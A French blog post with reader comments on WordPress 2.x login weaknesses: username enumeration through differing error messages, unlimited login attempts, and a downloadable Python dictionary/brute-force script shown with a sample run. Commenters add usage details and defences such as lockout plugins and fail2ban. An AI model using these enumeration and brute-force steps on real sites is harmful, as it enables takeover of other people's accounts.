WordPress 2.x Brute Force Attack


Brute Force Attack
Voilà quelque chose d'assez surprenant : depuis 2007, plusieurs problèmes de sécurité non corrigés touchent les versions de WordPress 2.x. En effet, il est tout à fait possible de vérifier si un compte administrateur existe bien, pour ensuite lancer une attaque de type Brute Force. Les développeurs ont bien entendu été informés de ce problème plusieurs fois, mais ils ne semblent pas y attacher une grande importance.

Wordpress Brute Force Attack

Voici comment tout ceci fonctionne. Pour vérifier qu'un compte utilisateur ou administrateur existe, il suffit de se rendre sur l'interface d'admin de WordPress :

http://victime.com/wp-admin

Saisissez ensuite un identifiant (ex: admin) et un mot de passe bidon (ex: test). Si le message d'erreur suivant apparaît, cela veut dire que le compte n'existe pas:

L'identifiant n'est pas valide (Invalid username en anglais)

Tandis que celui-ci confirmera que l'utilisateur est bien valide :

Mot de passe incorrect (Incorrect password en anglais)

Le deuxième problème de sécurité réside dans le fait, que pour une installation par défaut de WordPress, le nombre de tentatives d'authentification n'est pas limité. A partir de là, il est donc assez facile de réaliser une attaque par Brute Force.

Voici un exemple d'utilisation avec un script écrit en python :

$ wget www.tux-planet.fr/public/hack/bruteforce/wordpress-2.x-bruteforce.py
$ python wordpress-2.x-bruteforce.py http://cible/wp-login.php admin 1 password.txt
[+] Testing : 1025
[+] Testing : plop
[+] Testing : plip
[+] Testing : demo
[!] Password is : demo

Le seul moyen aujourd'hui pour vous protéger contre ce type d'attaque est d'utiliser un compte administrateur différent de "admin". On pourra également installer un plugin comme User Locker qui permet de limiter le nombre de tentatives d'authentification.


21 Commentaires pour "WordPress 2.x Brute Force Attack"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Hello,
    Et deux autres astuces :
    Certains choisissent aussi de déplacer l'adresse de login ou le renomme (mais on mets les mains dans le camboui informatique de WP et c'est pas top pour les mises à jour).
    D'autres empêchent les connexions qui ne proviennent pas de leur IP.

    Christophe BENOIT , le 12 avril 2010 à 17:47
  •  

    Mouais enfin une attaque bruteforce si ton password ne ressemble pas à "coucou", "demo", "admin" ou "password" mais plutôt à "efcdner@6è(3" il va falloir attendre un peu :)

    Xavier , le 12 avril 2010 à 18:18
  •  

    @Xavier : c'est certain qu'un bon mot de passe sera toujours la base en terme de sécurité !

    pti-seb , le 12 avril 2010 à 20:41
  •  

    Comme le dit Xavier ici c'est pas une attaque en brute force, c'est une attaque de type dictionnaire, c'est le même principe sauf que tu ne teste qu'une liste de mots.

    Parce que pour faire un brute force déjà en local on arrive vite à plusieurs siècles selon la taille du mot de passe alors via http faut pas être pressé!

    bref un bon mot de passe avec des caractères spéciaux et y'a aucun pb!
    En fait la première faille de sécurité elle est entre le clavier et la chaise!

    bibitte , le 13 avril 2010 à 11:53
  •  

    @bibitte : oui en faite dans l'exemple j'utilise la méthode par dictionnaire, celle que je préfère. Mais en faite, le script permet aussi de faire une attaque par bruteforce, il suffit d'utiliser l'option n°2 avec les bons arguments.

    Usage : <server> <user> <choice> <dico-characters>
    Default: User is 'admin'
    Choice :
    1} Dictionnary Attack, use dictionnary file
    2} Bruteforce Attack, use number of character for password

    Reste que cette seconde méthode est sûrement moins efficace, à moins d'être immortel et d'avoir du temps devant soi.

    pti-seb , le 13 avril 2010 à 13:13
  •  

    bin avec la méthode 1 c'est pareil, il faut un bon wordlist.txt ...

    z0rg> , le 13 avril 2010 à 20:25
  •  

    Question : pourquoi avoir choisi python pour ce type d'attaque, qui demande énormément de rapidité de calcul ?
    C ne serait-il pas plus approprié ?

    inalgnu , le 14 avril 2010 à 09:52
  •  

    @inalgnu : c'est le seul script de brute force pour WordPress que j'ai trouvé. Je l'ai modifié un peu. Mais en langage C il aurait été plus rapide c'est sûr.

    pti-seb , le 14 avril 2010 à 14:11
  •  

    En effet je vais corriger ça tout de suite !

    :-(

    Amarox , le 15 avril 2010 à 10:35
  •  

    @pti-seb: Même avec un dictionnaire une attaque de type "brute force" c'est du "brute force" ;)

    C'est une très bonne chose de rappeler les bases de la sécu mais j'aimerais (r)ajouter que ça ne s'arrête pas a WP... les auths http et pleins d'autres script php sont vulnérable a ce type d'attaques.

    Une des approche pour sécuriser la chose c'est un fail2ban like qui parse les logs du serveur/banni l IP de l'attaquant (via iptables/pf).

    @inalgnu: Je pense que ici le facteur réseau et la rapidité du serveur a traiter les requêtes l'autre bout sera plus important que la différence C et python. Mais c'est juste un avis personnel.. je n'ai pas fait de benchs.

    crashdump , le 19 avril 2010 à 12:26
  •  

    tu pourrais uploader le script python ? si ce n'est pas ça : http://securityvulns.ru/files/float.py ?

    merci :)

    ly3s , le 22 avril 2010 à 14:38
  •  

    @ly3s : c'est dans le billet: "wget tux-planet.fr/.../wordpress-2.x-bruteforce.py"

    crashdump.fr , le 22 avril 2010 à 17:39
  •  

    Oups xD merci l'ami ;)

    ly3s , le 22 avril 2010 à 18:27
  •  

    @ly3s @crashdump.fr : surtout que celui que je propose est modifié pour fonctionner avec les versions fr de WordPress.

    pti-seb , le 22 avril 2010 à 23:52
  •  

    Personnelement je préfère login lockdown.
    Je l'utilise pour mon site web.

    ninjageek , le 13 mai 2010 à 18:46
  •  

    Avec la méthode 2 et 10 caractères on en aurai pour des années (en supposant que le login soit admin)

    [-] User is : admin
    [-] Number of characters are : 10
    [+] Testing : aa
    [+] Testing : aaa
    [+] Testing : aaaa
    [+] Testing : aaaaa
    [+] Testing : aaaaaa
    [+] Testing : aaaaaaa
    [+] Testing : aaaaaaaa
    [+] Testing : aaaaaaaaa
    [+] Testing : aaaaaaaaaa
    [+] Testing : aaaaaaaaab
    [+] Testing : aaaaaaaaac
    [+] Testing : aaaaaaaaad
    [+] Testing : aaaaaaaaae
    [+] Testing : aaaaaaaaaf
    [+] Testing : aaaaaaaaag
    [---snip---]
    [+] Testing : aaaaaaaaay
    [+] Testing : aaaaaaaaaz
    [+] Testing : aaaaaaaaaA
    [+] Testing : aaaaaaaaaB
    [+] Testing : aaaaaaaaaC
    [+] Testing : aaaaaaaaaD

    Après il passe au majuscules aussi

    Fugitif , le 29 mai 2010 à 14:15
  •  

    @Fugitif : On en aura pour 3 nuits !

    ly3s , le 29 mai 2010 à 14:27
  •  

    @ly3s : tu a tester avec le pass d'origine à l'installation de WordPress ? Il fait 12 caractères et avec des majuscules, minuscules et caractères spéciaux

    Fugitif , le 29 mai 2010 à 16:31
  •  

    @Fugitif : non, j'ai pas essayé avec ça mais avec un mot de passe de 14caractères. En tout cas, n'importe quel mot de passe peut être bruteforcé même si ça prendra plusieurs semaines !

    ly3s , le 29 mai 2010 à 18:30
  •  

    Chez moi,
    - password > 8 char,
    - changement login admin par défaut

    j'espère qu'il n'existe pas de méthode pour connaître le nom d'admin

    en tout cas c'est bon à savoir

    merci pour l'info !

    Sebastien

    informatique Grenoble , le 13 avril 2011 à 09:55
  •  

    @pti-seb : Je suis immortel, je peux le faire !

    Chuck Norris , le 6 mars 2014 à 23:58

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum